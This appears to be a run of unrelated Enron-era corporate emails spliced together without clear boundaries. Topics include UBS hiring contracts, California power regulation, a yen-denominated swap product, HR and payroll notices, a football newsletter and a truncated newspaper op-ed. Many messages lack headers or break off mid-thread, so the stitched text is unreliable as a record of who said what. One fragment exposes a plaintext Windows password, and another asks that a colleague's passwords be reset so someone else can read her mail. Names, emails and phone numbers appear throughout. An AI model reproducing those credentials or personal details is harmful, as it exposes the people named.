Thanks

From: 	Severson, Russ  
Sent:	Tuesday, January 22, 2002 12:29 PM
Subject:	Verifying Regional Leads

I believe I missed the meeting when Netco duties were discussed.

I just want to verify the regional leads as they will be the eRequest security access approvers for Sitara and TDS.

Scott     -    East
Phillip    -    West
O'Neal   -    Texas
Darron    -   Central
Errol      -    Financial

The updated help desk numbers for 24 hour call are as follows:

phone - 713-553-3758
page - 713-327-4523

These have changed, so update your phone list accordingly.

Thanks,

JMF

Following our discussion this morning we discussed and agreed in principle, the following changes to the "standard" contract form with UBS:

1 - Involuntary Termination
Change for all contract to 90 days. Wording 99% agreed.

2 - UBS "free" option beyond March 15
Change to March 22 and make mutual. Wording 95% agreed.

3 - Non-compete to exclude Enron retrospective reference
Re-wording of this clause to focus on NETCo and ENA rather than Enron. Wording 50% agreed.

4 - Miscellaneous clause
Change to clause that says ee reps they know of no claims, grievances, to be changed to "against individual". 100% agreed.

5 - Recognition of prior Enron service wording
Added to contracts. Wording lifted from offer letter. 100% agreed.

While we have agreed to above, please bear in mind:

- Contracts will now be delayed until wording is finally signed off by lawyers (eta 3 hours)
- We have to draw the line on further changes en mass now or we won't get anything done.
- We have not "agreed" salary and promotions completely. UBS are concerned about percentages of a few. I think we will have resolution this evening.
- I am not expecting new docs until late this evening.

David

As a follow-up to our conversation, the referenced counterparty is not an 
eligible swap participant, therefore we need to shut them down for all 
financial.

Beautiful baby - good job Patty.

Sent: Tuesday, October 02, 2001 6:44 PM
To: Ruscitti, Kevin; Lisa Ruscitti
Subject: Introducing: John Edward Kampmann

We call him Jack.

John Edward Kampmann
Born: September 21, 2001 @ 5:55pm
Weight: 7 pounds 1 ounce
Height: 19 3/4 inches

Named in honor of his Grandfathers

  _____  

Listen to your Yahoo! Mail messages from any phone with Yahoo! by Phone <http://rd.yahoo.com/mail_us/tag/?http://phone.yahoo.com/?.refer=mailinsideymail>.

Jeff,
you may have a voicemail from them as well...but you have a call
from John White in Sac @ 916.447.7983  -- "re: Energy" is all she (the asst.)
knew it was regarding.
Pls call.
Thanks,
Joseph

Hey Jeff  -- How goes it in Calif.?  Things are quiet on the pipeline side.  
I'm supposed to make a trip out to Portland in the fall--Now that I work with 
the  Portland General folks.  Maybe I can swing by on my way to NAPA?  Hope 
all is well and thanks for the update.  Joe  

Maureen please check my calendar
----- Forwarded by Steven J Kean/NA/Enron on 11/21/2000 11:28 AM -----

	"Richard Jones" <Richard_Jones@hsb.com>
	11/20/2000 03:18 PM
		 
		 To: "skean@enron.com" <skean@enron.com>, "dleff@enron.com" <dleff@enron.com>
		 cc: 
		 Subject: Meeting Status: Capture Behavioral data on all Failures

     Dan & Steve,
     
        This meeting is scheduled to be held on Friday 1 December at 
     McDonalds Headquarters in just outside of Chicago. People are flying 
     in Thursday night and we plan to go through most of Friday - maybe 
     with a tour of Hamburger University. The participants are General 
     Motors, Dupont, McDonalds, NASA, and hopefully Enron. I will be 
     traveling on Tuesday, but could we arrange a time to discuss this on 
     Wednesday?
     
     Rick Jones

	Jodie/Des Moines Team

Date:		5/23/2001
Time:		3:30 PM - 4:00 PM (Central Standard Time)

Jeff, go ahead and have the meeting - I think I know what it is about.  Let 
me know what you guys want to do.

Regards
Delainey
---------------------- Forwarded by David W Delainey/HOU/ECT on 01/02/2001 
10:54 PM ---------------------------
   
	From:  Beverly Stephens                           01/02/2001 11:52 AM
	
Sent by: Kay Chapman
cc:  
Subject: meeting with Jeff Donahue

Dear Dave:

I received a memo this morning from Jeff Donahue wanting to set up a meeting 
with you, Ray Bowen, Wes Colwell, Dick Lydecker, Andrea Reed and himself this 
week regarding Hanover Compressor.  I contacted his assistant and told her 
that you would not be in this week.  She will let Jeff know and get back to 
me.  I haven't heard anything more on that yet.  Please let me know if you 
would like to try to call in or if you want to wait until you get back.

Hope you are enjoying your holiday

Bev

---------------------- Forwarded by Darron C Giron/HOU/ECT on 07/24/2000 
09:30 AM ---------------------------

"hollyw" <hollyw@email.msn.com> on 07/22/2000 03:16:18 PM
To: "Stacy Warren" <swarre02@coair.com>, "Sheri Thomas" 
<Sheri.Thomas@enron.com>, "Rochelle Smith \(E-mail\)" 
<rochelle@waterengineers.com>, "Raymond Paterson" <ray_paterson@hotmail.com>, 
"Nicol, Gary" <nicolg@bp.com>, "Lori Horrocks" <loroks@yahoo.com>, "Lucie 
Eckersall" <lucie@eckers.abel.co.uk>, "John Schmitz" <jschm@telxon.com>, "Jim 
Miller" <jraggie1@pdq.net>, "Jim Henness \(E-mail\)" <jhennes@c2i2.com>, 
"Jacky Carson" <carson@mail.zuper.net>, "Janine Gregor" 
<janine.gregor@talk21.com>, "Gregor, Lynn C" <GregorLC@bp.com>, "Debbie Hall" 
<gmind@icsi.net>, "Darron Giron" <dgiron@enron.com>
cc:  

From: "dkerr2" <dkerr2@email.msn.com>
To: <hollyw@email.msn.com>
Sent: Saturday, July 22, 2000 3:50 PM

>
> From: "Amanda M. Hissey" <mandyh@warpwebtech.com>
> To: "Trace Torrence" <tracer1@pdq.net>; "Rhonda Spaulding"
> <Rlspaulding@cs.com>; "Jami Brown" <Jami_Brown@mil-rep.com>; "Dan Kerr"
> <dkerr2@email.msn.com>; "Bob" <BCMoe@aol.com>; "Ashley Williamson"
> <a_williamson@hotmail.com>
> Sent: Wednesday, June 21, 2000 11:43 AM
> Subject: FW: (no subject)
>
>
> >
> >
> > From: jimreniers [mailto:jimreniers@email.msn.com]
> > Sent: Thursday, May 11, 2000 6:27 PM
> > To: Beridon Leon; Bowman, Bill; Davis, Bob L; Davis bob HOME; Fairchild
> > Bill; FRANKIE; Gillen, Andy; Hamilton Mark; Hissey Chuck; Hissy, Mandy;
> > Koontz Palmer; Macdonald, Don; MGuinnSr@aol.com;
> > Michael.B.Becker@chase.com; Oblinger Steve; Ann Parker; Powell, Davis;
> > PAUL SRO; Varnell Betsy; Wells AL&Bonnie
> > Subject: Fw: (no subject)
> >
> >
> >
> >
> >
> > > >
> > > >
> > >
> >
> >
> >
> >
> >
> >
>
>
>

 - ADOPTED.GIF

Brent is looking into this issue.
----- Forwarded by Sara Shackleton/HOU/ECT on 08/15/2000 11:07 AM -----

	08/15/2000 07:20 AM
		 
		 cc: 
		 Subject: Credit Requirements

Any luck with outside counsel on the issue of holding cash in Canada?  
---------------------- Forwarded by Tanya Rohauer/HOU/ECT on 08/15/2000 07:16 

"Bettle, Mark" <Bettle.mark@jdirving.com> on 08/10/2000 10:15:30 AM
To: "Tanya Rohauer (E-mail)" <Tanya.Rohauer@enron.com>
cc:  
Subject: Credit Requirements

Tanya:

Have you followed up on our solution of sending cash in respect of our
credit requirements? (We are actually thinking that you could withhold a
couple of monthly payments to IPP (currently $680,000/month) in respect of
JDI's requirement. We would provide a letter approving this.)

........Mark

10/06/2000 08:05 AM ---------------------------

mggagliardi@duke-energy.com on 10/06/2000 07:31:42 AM

cc:

Subject:  True Orange Fax/E-Mail #93

Gagliardi/Hou-ComOps/EnergyTrading/PEC on 10/06/2000 07:40 AM

TruOrange@aol.com on 10/05/2000 10:16:56 PM

cc:

Volume 8, Fax/E-Mail #93, Thursday, October 5, 2000
Phone

Brown Says Horns Ready For Big Game; Nordgren Visits Practice

Coach Mack Brown said Thursday the Longhorns "have worked really hard all
week" and appear ready for the big game with Oklahoma in Dallas Saturday.
"It
has been a good week of practice," he said.
Brown also said DT Shaun Rogers (sprained ankle) is still questionable for
the game. He said Rogers will suit up and a decision will be made at game
time. "If we can get 20 plays from Shaun, that would be really good," Brown
said.
LB O. J. McClintock, who missed the OSU game with a bruised knee, appears
to
be completely recovered. He is an outstanding pass defender and probably
will
see a lot of action against the Sooners.
Major Applewhite took most of the snaps with the first team this week and
appears likely to be the starter against Oklahoma. He looked very sharp
last
week against Oklahoma State. He underwent off-season knee surgery, and
Brown
said Applewhite looked "like the old Major" against OSU.
Sophomore TB Kenny Hayter also got a lot work with the first team this week
after rushing for 122 yards against OSU.
* * * *
This game is always a difficult one to figure because strange things happen
a
lot when the Longhorns and Sooners do battle. But I think the Longhorns
will
win if they can avoid getting any punts blocked because the two teams are
comparable in terms of offensive efficiency, but Texas appears to have a
much
better defense.
Oklahoma has outstanding linebackers and a good secondary, but the Sooner
line has not been a great run-stopping unit. The Longhorns should be able
to
run the ball better than the Sooners and that should be the difference in
the
game. Under Mack Brown, the Longhorns are 17-0 when they outrush their
opponents.
* * * *
RECRUITING NOTES: QB Matt Nordgren of Dallas Bishop Lynch visited the Texas
practice Thursday and spend a lot of time after practice talking to Brown
and
offensive coordinator Greg Davis. He was not due to get back into Dallas
until late tonight, but his father said he did not commit to the Horns and
probably will take some more time before making a decision. . . LB/DE
Jonathan Jackson of Galena Park North Shore is being recruited by most
colleges, including UT, as a defensive end. Colleges are wanting DEs with
great speed as outside pass rusher and Jackson ran a 4.56 at a summer camp.
That is very fast for a 6-3, 230-pounder. . . DE Eric Hall of Clarksville,
Tenn., is still a likely future Longhorn. If Texas can corral Jackson and
Hall, that would give them two outstanding speed rushers from the corner if
they both wind up at end. The Longhorns have a great chance to get both of
them.
* * * *
KICKOFF WEATHER FORECAST: If you are going to the game, the Weather Bureau
is
forecasting temperatures in the low 60s with a possible 30% chance of rain
at
11 a.m. Saturday when the game is scheduled to begin. If  rain does occur,
it
is expected to stop in the early afternoon.
* * * *
BASKETBALL RECRUITING NOTES: Two heralded 6-2 stars who are so versatile
that
they have played point guard at times have committed to the Texas women's
basketball team. Kala Bowers of Woodward, Okla., and Jody Bell of Calgary,
Alberta, Canada, both committed to coach Jody Conradt. Bowers is a national
top 25 player who was one of just four high school underclassmen to be
invited to try out for the 2000 junior national team.  She also considered
Colorado, North Carolina, Stanford and Nebraska. She averaged 15.8 points
and
7.4 rebounds last season. Bell averaged 14.5 points and 11.4 rebounds for
Chestermere High School in Calgary. She was a member of the Canadiana
junior
national team. She considered only warm-weather schools and wound up
picking
Texas over Arizona State. Both girls played point guard at times last
season
and both are outstanding ball handlers. Conradt also has commitments from
forward Heather Schreiber, 6-2, of Windthorst, the state's hottest
prospect,
and 5-11 forward CoCo Reed of Houston Jersey Village
* * * *
My next fax/e-mail will be whenever events warrant.
* * * *
The True Orange Fax Service includes  at  least  99 fax/e-mails  a year and
costs $99 ($79 by E-Mail). The True Orange Newsletter includes  26
newsletters and is published weekly during football season and twice
monthly
during most of the other months. It costs $45. Save by subscribing to both
for $130 (or $110 if you take the faxes via E-Mail  or $99 if you take the
faxes and newsletter  via E-Mail). Send check  to address at the top of
page.
I also  update my 900 number ? 1-900-288-8839 ? frequently with recruiting
news. My E-Mail address is: truorange@aol.com

FYI
---------------------- Forwarded by David Baumbach/HOU/ECT on 07/17/2000 
11:07 AM ---------------------------
   
	From:  Megan Parker @ ENRON                           07/17/2000 10:43 AM
	
To: David Baumbach/HOU/ECT@ECT
cc:  

Since we cannot fix the deal, go ahead and put a fixed price of $2.81359 on 
both lines of the May 2000 deal.  This will allow us to pay correctly.  If 
you can, please put some comments in the deal noting the true deal price so 
we have an audit trail.  Just let me know when it is done.

Thanks,
Megan

'98 San Diego system averages:
9.4 cents     Total rate
6.1 cents      Power Supply portion, of which 1/4 was purchased power @ 3.0
cents and 3/4 was generation @9.1 cents.

Steven J Kean@ENRON
09/01/2000 08:27 AM

Sent by:  Steven J Kean@ENRON

To:   Susan J Mara/SFO/EES@EES, Jeff Dasovich/SFO/EES@EES, Sandra
      McCubbin/SFO/EES@EES, Mona L Petrochko/SFO/EES@EES
cc:   Gavin Dillingham/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Harry
      Kingerski/HOU/EES@EES, Richard Shapiro/HOU/EES@EES, James D
      Steffes/HOU/EES@EES
Subject:  California Lawmakers Vote to Limit Power Costs - WSJ

Look at this.  Baum finally speaks up  -- way too late.
Can somebody tell me what SDG&E's energy rate was pre-dereg?
---------------------- Forwarded by Steven J Kean/NA/Enron on 09/01/2000

 (Embedded
 to file:      From:  Ann M Schmidt
 pic19169.pcx) 09/01/2000 07:57 AM

To:   Karen Denne/Corp/Enron@ENRON, Mark Palmer/Corp/Enron@ENRON, Steven J
      Kean/NA/Enron@Enron, Meredith Philipp/Corp/Enron@ENRON
cc:

F.Y.I.

  California Lawmakers Vote to Limit Power Costs
  By Rebecca Smith

  09/01/2000
  The Wall Street Journal
  Page A4
  (Copyright (c) 2000, Dow Jones & Company, Inc.)

  California lawmakers voted to extend modest relief to San Diego residents
burdened with
  high electricity bills and set the groundwork for faster construction of
badly needed power
  plants. They stopped short, however, of passing legislation that would
roll back retail power
  rates to levels seen prior to deregulation .

  Late Wednesday, lawmakers sent a bill to Gov. Gray Davis that limits to
6.5 cents per
  kilowatt hour the amount that small customers of San Diego Gas & Electric
Co. can be
  charged. The utility is allowed to add power-delivery and other
reasonable costs to that
  commodity price.

  The price, equivalent to a bulk power cost of $65 per megawatt hour, is
far higher than the
  average price of power for 27 of the 31 months in which California's
market has been
  deregulated. But in June and July, the average price of power obtained by
the utility from a
  state-sanctioned energy auction rose to 12 cents and 10.5 cents,
respectively, compared
  with the 2.3 cents and 2.8 cents charged in those months a year earlier.

  Passed directly through to customers,the resulting bills sparked a near
mutiny. The
  rate-cap measure applies to residential and small commercial customers,
as well as to
  schools and hospitals.

  In addition to the rate cap, which can be adjusted upward or downward by
the California
  Public Utilities Commission until December 2002, the legislature
earmarked $150 million of
  general-fund revenue, which can be used to subsidize San Diego power
costs if they greatly
  exceed the 6.5-cents-per-kilowatt-hour rate. For now, the utility would
be expected to make
  up any difference between revenue collected and the actual cost.

  Steve Baum, chairman of Sempra Energy, parent of San Diego Gas & Electric
Co., said the
  rate-cap measure is "deeply flawed" because it limits the amount prices
can rise but sets
  no floor. That means any shortfall could grow -- without a mechanism for
customers to pay
  it down -- until the end of the rate-cap period, which could last until
December 2002 or
  December 2003.

  Mr. Baum said Sempra stands to suffer an undercollection of perhaps $664
million, provided
  future prices approximate the New York Mercantile Exchange forward prices
through
  December 2002. "It's irreparably damaging to Sempra," he said because it
"creates
  tremendous uncertainty" that makes it hard for the San Diego energy
company to finance
  new projects such as a new transmission line.

  The legislature also appeared likely to approve a bill speeding up the
permit process for the
  construction of new power plants, in part by beefing up staffs of
regulatory agencies that
  review the plans.

  Copyright , 2000 Dow Jones & Company, Inc. All Rights Reserved.

 - pic19169.pcx

Hi Everyone,

I'm pleased to announce that we have two new electives to offer next 
semester, as described below.  Please note that TJ will be sending you your 
class schedules via e-mail on Wednesday and that you have until Monday, 
November 20 at noon to adjust your schedules by responding back to TJ via 
e-mail (NOT TeleBEARS).  Please keep these two courses in mind as you 
consider your schedule adjustments.

REMEMBER!  The second round of pre-registration is not done on TeleBEARS - 
it's done via e-mail to TJ.  

(1) E296-10, Pricing (3 units; Thursdays 6:00 - 9:30 pm).  This course will 
be taught by Scott Davis (Stanford PhD; faculty member at Washington 
University and UC Davis; currently is a Principal at Strategic Marketing 
Decisions in Sacramento).  The objective of this course is to deepen your 
understanding of pricing issues faced by organizations and to develop pricing 
strategies that will be used to increase profitability.  More information is 
available in the attachments.  I think this is going to be a great course - 
Scott has great experience and has won the Outstanding Teacher award in the 
EvMBA Program at Washington University.

(2)  E296-9, Managing Innovation and Change (3 units; Tuesdays, 6:00 - 9:30 
pm;).  This course will be taught by David Palmer (Claremont [Drucker School 
of Mgmt] Ph.D., Wharton MBA; instructor at Santa Clara University; currently 
Partner at  Customer Manufacturing Group in Santa Clara).   This course will 
explore the organizational structures and management processes that 
facilitate or impede innovation.  Class requirements will include a major 
case project.  I believe that this course, too, will be excellent.

Cheers,

Diane

hi dad!  how are is work going..i miss you....when will you be home tonight?

Put this on Kevin's review...THAT HE HELP YOU ANSWER QUESTIONS IN THAT 
MEETING WITH SARA BOLKEN (MILLICAN & ASSOC.), THE ARCHIVE GROUP.
---------------------- Forwarded by Dana Davis/HOU/ECT on 11/06/2000 09:52 AM 

"perfmgmt@enron.com"<perfmgmt on 11/02/2000 08:13:14 AM
cc:  

JOLLY, KEVIN                    MARNIE LAMB                     Oct 31, 2000

----- Forwarded by Marie Hejka/Corp/Enron on 01/16/2001 05:31 PM -----

	Marie Hejka
	01/16/2001 05:30 PM
		 
		 To: Melissa Becker/Corp/Enron@ENRON, Anthony Mends/Enron 
Communications@Enron Communications, Debbie R Brackett/HOU/ECT@ECT, Joe 
Wong/enron@enronXgate@enronXgate, Pegi Newhouse/HOU/EES@EES, John 
Gillespie/Enron@EnronXGate, Kathleen Pope-Sance/HOU/EES@EES, Steve 
Woods/EPSC/HOU/ECT@ECT, Georgeanna Hoiseth/Corp/Enron@ENRON, Judith 
Schlesinger/HOU/ECT@ECT, Allan Sommer/Corp/Enron@Enron, Monty 
Myers/HOU/EES@EES
		 cc: Margarite Cunningham/Corp/Enron@ENRON, Candi Woods/Enron 
Communications@Enron Communications, Mercy Gil/NA/Enron@Enron, Terri 
Greenlee/NA/Enron@ENRON, Cheryl Oliver/Enron@EnronXGate, Leticia 
Flores/Enron@EnronXGate, Christal Smith/Corp/Enron@ENRON, Regina 
Karsolich/Corp/Enron@ENRON, Beth Perlman/enron@EnronXgate, George 
Wasaff/Enron@EnronXGate
		 Subject: IM Task Force Agenda - 1/17/00 Note Assignments 

Note assignments in Red.

Per your request attached is the updated Risk Management contact list.

Thank You,

AC 

Barbara,

My apologies. I was traveling and then we had the usual end of the quarter
pandemonium.

I am sending you my presentations and would like to get back to you with
some questions regarding your products.

Vince

"Barbara E. Brandfass" <bbrandfass@panalytix.com> on 07/10/2000 04:15:33 PM
cc: "Amir Sadr" <asadr@panalytix.com> 
Subject: B. Brandfass

?
Sorry to be a bother but do you have those materials from your  talk in May?
?
?
Thank You,
?
Barbara E. Brandfass, Chief of Business Development  
Panalytix, Inc., www.panalytix.com
212 974 1022, b@panalytix.com

I submitted the following RCRs for CA:
Intervention in Support of Strategic Energy
Enron supported Strategic's complaint against the CA ISO, regarding its 
request to require the ISO release OOM (out of market) data publicly. ENA 
(Tim Belden) has always had as a number one priority, release more data 
sooner, and this filing offered an opportunity promote that concept.  The 
filing was made on 3/20/01.

Opposition to ISO Compliance Filing On Creditworthiness Standards
The ISO made a compliance filing that greatly expands its creditworthiness 
exemptions, far beyond what FERC had ordered in its 2/14/01 order.  The ISO's 
tariff language can be read to allow the utilities to count the credit status 
of third parties as their own, without the third parties' approvals.  Enron 
will oppose.  The filing is due 3/22/01.

Also Bracewell is making or has made the following CA filings (these are all 
I know about anyway):

Tucson Electric Complaint   Intervention -- vanilla 3/19   Done for Sanders 
-- no RCR
PNM Complaint   Support   3/22 Done for Sanders -- no RCR
FERC Staff Report  Support EPSA/WPTF 3/22 Plan to do for <$500
      and raise temporal issue of western resources
City of San Diego  Intervene/comment 3/28 Probably will be done for Sanders

The underscheduling filing was put on hold.  We were mistaken when we thought 
that comments on an ISO proposal were due 3/22.   Instead, we've now decided 
to file comments in response to the ISO's filing of tariff changes, which 
should be made soon.

That's all for the rest of March, so far.  I'll be updating Jim's table on 
pending FERC matters.

Sue Mara

---------------------- Forwarded by Phillip K Allen/HOU/ECT on 03/14/2000 
   
cc:  
Subject: 

WK

Reference for future months.  
---------------------- Forwarded by Sally Beck/HOU/ECT on 01/05/2000 01:16 PM 
   
	From:  Sheila Glover                           01/05/2000 09:26 AM
	
To: Sally Beck/HOU/ECT@ECT, Gary Hickerson/HOU/ECT@ECT
cc: Theresa T Brogan/HOU/ECT@ECT, Bennett Kaufman/HOU/ECT@ECT, Laurel 
Adams/HOU/ECT@ECT, Gretel Smith/HOU/ECT@ECT, Kelly 
Templeton/Corp/Enron@ENRON, Stella L Ely/HOU/ECT@ECT 
Subject: Vacation, floating holiday request

Sally, Gary,

I would like the following vacation time off:
Monday, Jan 10th (changed from Jan 11th)
February 21-25
March 15 - 17

---------------------- Forwarded by Ami Chokshi/Corp/Enron on 02/25/2000 
11:35 AM ---------------------------

troy_a_benoit@reliantenergy.com on 02/25/2000 11:30:49 AM
cc:  

Subject: WEEKEND NOMS

NT Pw=banker01!

Thanks,
Janette

Sent: Monday, March 19, 2001 4:04 PM
To: Oquendo, Janette
Subject: Emergency Password Reset

Samantha Boyd had a death in her family early this morning and I do not know 
when she will return to work.  I do not know her computer password she is 
working on time sensitive documents with correspondence being done through 
email.  Please reset her computer password and lotus notes password so I may 
access the correspondence.  Please notify me of the new passwords.

Thank you,

Hello.  I dont understnd your response?  Are you talking about the retreat?

In order for UBS Warburg to timely process your paycheck, I am requesting that all employee's accepting offers return any outstanding forms to my new desk location at  05852 on the 5th floor of ECS (Look for the Hamburg Flag) by noon this Friday  2/01/02.  This will prevent any benefit deductions from having to be "Double Deducted" on future checks.  Please attach a deposit slip or voided check stub to your direct deposit form.  Attached below are the forms needed for payroll/benefits, in case you did not turn these in at Orientation.  Lastly, please verify that your EHRonline home address is showing your current home address because all live checks will be mailed to your home residence. 

Thanks, Tony Jarrett
Benefits
Ext. 3- 7829 

Please join us for a Legal Department breakfast gathering on Friday, June 9, 
2000 at 9:00 a.m. to welcome/honor the following:

Samantha Boyd, Specialist - Welcome (office location:  EB3802A)

Samantha Ferguson, Law Clerk - Welcome (office location:  EB3851A)

Al Larsen, Sr. Counsel, (Portland office) - Welcome (temporary Houston office 
location:  EB3891)

Matt Maxwell, Specialist (5 years) - Service Award (office location:  EB3875A)

Bill Nealy, Law Clerk - Welcome Back (office location:  EB3852B)

We look forward to seeing you there!

Carol -

Attached is a marked and final version of the Fee Agreement with Enron.  I 
have made a change to the payment provision such that the fee is due and 
payable upon Natsource's receipt and activation of the password and userid 
issued by Enron.  I have not used the defined term "Passwords" since this 
term include passwords established by Natsource under the initial password 
and userid issued by Enron and is not limited to the latter.

I understand this change was conceptually discussed by the business personnel 
and was found to be acceptable.  If this is the case, please present the 
attached to Natsource for signature and instruct them to forward signed 
documents to Enron for countersignature.

Thanks for your continued assistance with this matter.  If you should have 
any questions or need anything further, please let me know.

Mark

Kent,

Please forward this to Sally Beck.

Thanks,
Patti
---------------------- Forwarded by Sally Beck/HOU/ECT on 02/15/2000 12:51 PM 

Sue Frusco@ENRON_DEVELOPMENT
02/13/2000 02:10 PM
To: Sally Beck@ENRON_DEVELOPMENT, Ted Murphy@ENRON_DEVELOPMENT, John 
Sorrells@ENRON_DEVELOPMENT
cc:  
Subject: Argentine Gas Process Flow

Greetings.

Attached is the Argentine gas process flow, which has been under review for 
the past month or so by Mike Guerriero, his staff in BA and my group in 
Houston.   The Southern Cone trading support is based off of this model, so 
it also applies to power in BA and SP.   I do have process flows for power in 
both places, but I would like to revisit them prior to distribution.   If you 
would like them regardless, just let me know and I will pass them along asap.

I hope you have a successful trip.   Please let me know how I can be of 
help.   I am curious to hear your findings.

 Sue (713.349.0733 [home]; 713.703.3706 [mobile])

From: 	Timothy, Justin  
Sent:	Wednesday, October 31, 2001 12:16 AM
To:	McBride, Jane
Cc:	Niesler, Stefan; Minns, David; Aronowitz, Alan; Keogh, Alison
Subject:	RE: Enron Japan - EOL - Yen denominated WTI swap

These are created by legal counsel in the jurisdiction of the Enron entity. So for example if this was for Enron Australia David Minns would be creating the GTC. It appears from your email however that the Enron entity will be ENA hence I would assume that ENA legal counsel would want control over the GTC in this case but obviously you need to clarify.

I work for the EnronOnline Product Control Group which basically administers and co-ordinates the EOL website.

Regards

Justin

From: 	McBride, Jane  
Sent:	Wednesday, 31 October 2001 5:10 PM
To:	Timothy, Justin
Cc:	Niesler, Stefan; Minns, David; Aronowitz, Alan

Thanks - I think I have these already from you but my questions are more general - I have never been able to get to the bottom of how EOL is managed from a legal perspective hence the email to Alan.

By the way how were these created and who normally creates these; also what is your role in all this?

Thanks.

Jane

Sent:	31 October 2001 15:01
To:	McBride, Jane; Musch, Susan; Aronowitz, Alan
Cc:	Bekeng, Jan-Erland; Hirl, Joseph; Niesler, Stefan; Minns, David

Jane,

Attached is a copy of the existing GTC for the existing USD denominated WTI Crude product type for your perusal.

Regards

Justin

 << File: US WTI Fin Swap GTC.doc >> 

Sent:	Wednesday, 31 October 2001 3:12 PM
To:	Musch, Susan; Aronowitz, Alan
Cc:	Bekeng, Jan-Erland; Hirl, Joseph; Niesler, Stefan; Timothy, Justin; Minns, David
Subject:	Enron Japan - EOL - Yen denominated WTI swap

Hi Alan (and Susan),

As you may know, Enron Japan is trying to get some yen denominated products onto EOL in an effort to try and pry the Japanese market open a little bit faster.  Although this is an Enron Japan initiative, the Enron CP would be ENA, so the governing law should probably not be Japanese (but this is unclear - there is a thought that Japanese CPs may prefer Japanese law, but it is also arguable whether they would know or care - in any case Susan, any tax issues in having ENA doing yen denominated trades over EOL under Japanese law?

Anyway the main reason for the email is that I have some very boring questions.  Alan, I am not sure (and to be honest have never really been able to figure out) who makes global EOL legal decisions, whether they come out of London or Houston (because seems to be some overlap) - but since the CP would be ENA, Houston legal will have to be involved, so perhaps Mark Taylor, but would you mind forwarding my questions to the right person.

1.	Procedure wise - who should draft the GTCs for this new product?
2.	If they are done under a US law - who gives legal sign off? 
3.	If they are done under Japanese law - can I sign off? Very happy to do so but not having any EOL experience I would need to work closely with someone from EOL legal who could confirm that other than any issues of Japanese law, they are consistent with what we want from the EOL GTCs generally.
4.	Who signs off on "product descriptions" - what is the formal process - I assume it includes the commercial person - in this case Stefan Niesler, does it also require someone from legal, do I do this as the EJ lawyer - should l also get the ENA lawyer to approve since the CP is ENA.

Sorry if these questions seem trivial but I don't know my way on this at all and am concerned that things may fall through the cracks unless we know who will take responsibility for doing what.

Thanks very much.

Kind regards.

Jane McBride
Senior Legal Counsel

Tel: +813 5219 4553   

From: 	Musch, Susan  
Sent:	31 October 2001 01:11
To:	Niesler, Stefan
Cc:	McBride, Jane; Bekeng, Jan-Erland; Hirl, Joseph
Subject:	RE: yen nominated WTI swap

Stefan,

Sorry I missed your call yesterday.  The answer to the question you left on your phone message (i.e., whether there are any tax issues given the current description and facts relating to the WTI product) is no, there shouldn't be any tax issues under the structure described below.

Are you going to revise the description for the product that is currently on EnronOnline Datamanager?  (It currently has the old description where Enron Japan Corp. was going to enter into these transactions.)

Susan

From: 	Niesler, Stefan  
Sent:	Monday, October 29, 2001 4:18 AM
To:	Musch, Susan

Susan,

Apart from the FX, there will be no involvement of EJ at all. It will all be covered under ENA Corp. as the USD WTI Swap is.

thx.
StN

Sent:	Monday, October 29, 2001 11:38 AM

Stefan,

Would you please clarify to what extent EJC will be participating in these transactions (other than the FX piece)?

Thanks,
Susan

Sent:	Friday, October 26, 2001 3:32 AM
Subject:	yen nominated WTI swap

Susan,

I hope I didn't confuse you too much yesterday night. 
Here is a quick run down on how we think the Japanese Yen nominated WTI Swap could work:

The mechanics remain the same. The US WTI Swap quotes are converted in Yen/KL and posted on EOL. Incoming transaction are hedged out against the US WTI Swap and the FX exposure is hedge out manually. 

The Enron entity entering into the initial transaction and all subsequent hedges is ENA. (same as for the US WTI Swap). The FX hedging will be done by people here in Tokyo who act as agents for ENA. (That's nothing new, they already do that.) 

Fair question remaining is what is the rational for the product for ENA and why are we involved in the product development. First of all we are looking for the easiest and most practical solution. ENA is interested because it extends the reach of an exiting product and provides additional deal flow through their books. (No EJ books as touched in this transactions). 
The rational for EJ is purely marketing relate. We underline our commitment to the market and proof ourselves as competitive and innovative suppliers of financial products for the Japanese Market. It is supporting our overall market penetration effort. 
The issue that it is not Enron Japan entering into the contract is secondary as the Japanese market is looking at Enron as a group. Possible customer concerns about contracting with a foreign company is something we don't see as material. The customer group we are targeting are international active companies that are used to dealings with non-Japanese counterparties. In addition, the credit rating of ENA is far better the EJ's from a Japanese point of view. 

I hope this helps to clarify some things. Please feel free to call me if I left anything out or if you need some additional information.

Thank you!

Regards,
StN

Another Utility Bailout Should Leave Us Cold 
George Miller
Sunday, December 31, 2000 
,2001 San Francisco Chronicle 
URL: 
http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/2000/12/31/E
D134916.DTL 
OUR CURRENT energy problems are urgent and serious. But before the governor 
and the Public Utilities Commission cut yet another deal costing consumers 
billions of dollars, perhaps they should pause to ask the public what kind of 
system it wants and what it will end up with after investing billions more. 
Failure of energy deregulation could speed real deregulation that might 
benefit consumers with real capacity and real competition. But this will not 
happen if the focus is only on California utilities and their shareholders. 
The original deregulation deal was designed, as I see it, to keep competition 
out of California -- and to maximize the rates consumers would pay for every 
bad past business decision by PG&E and other California utilities. 
Similarly, current bailout discussions are about forcing California 
ratepayers to pay for the failed deregulation plan designed by the utilities 
themselves. Once again, the companies seek to maximize profits and socialize 
the losses. 
Following on the heels of California's deregulation, the state's utilities 
came to the congressional delegation and urged us to protect the plan from 
federal deregulation efforts. They argued that the deal they cut was good for 
all parties. Their executives repeated time and again that they might benefit 
from the plan's cap on consumer prices -- and that there was a risk to them 
if wholesale prices were to go up. 
This, they told us, is the marketplace. They were willing to absorb the risk. 
This was the brave new world of free markets. 
But markets are never free. From the beginning, this deregulation plan was 
designed to buy the California utilities time and advantage. Initially, 
consumers saw lower rates, but not as low as real competition might have 
provided when compared to the heavily sheltered market of the past five 
years. Now, because this rigged marketplace has failed, the utilities want 
again to put their hands into the ratepayers' pockets. 
At first, PG&E and Southern California Edison asked the Public Utilities 
Commission to have California consumers pay the entire cost of deregulation's 
risks. Their idea did not pass the smell or the laugh test. 
Now the utilities look for a way to repackage their old proposal, including a 
substantial rate increase. The rationale is that the utilities may collapse 
financially. This threat is supposed to inspire Gov. Gray Davis and the PUC 
to quickly put the ratepayer on the hook for the utilities' failures. 
During the past year, dozens of utilities have merged all across America. 
PG&E, for example, may not be worth much to its shareholders, but like AT&T, 
it may be worth something to its competitors. This is the genius of the 
American marketplace. 
PG&E shareholders bought the stock, assuming the risk. Why should the 
ratepayers be asked to insulate them from that risk? During this past year, 
tens of billions of dollars of market capitalization were lost by various 
Silicon Valley high-tech firms. Their shareholders do not get the benefit of 
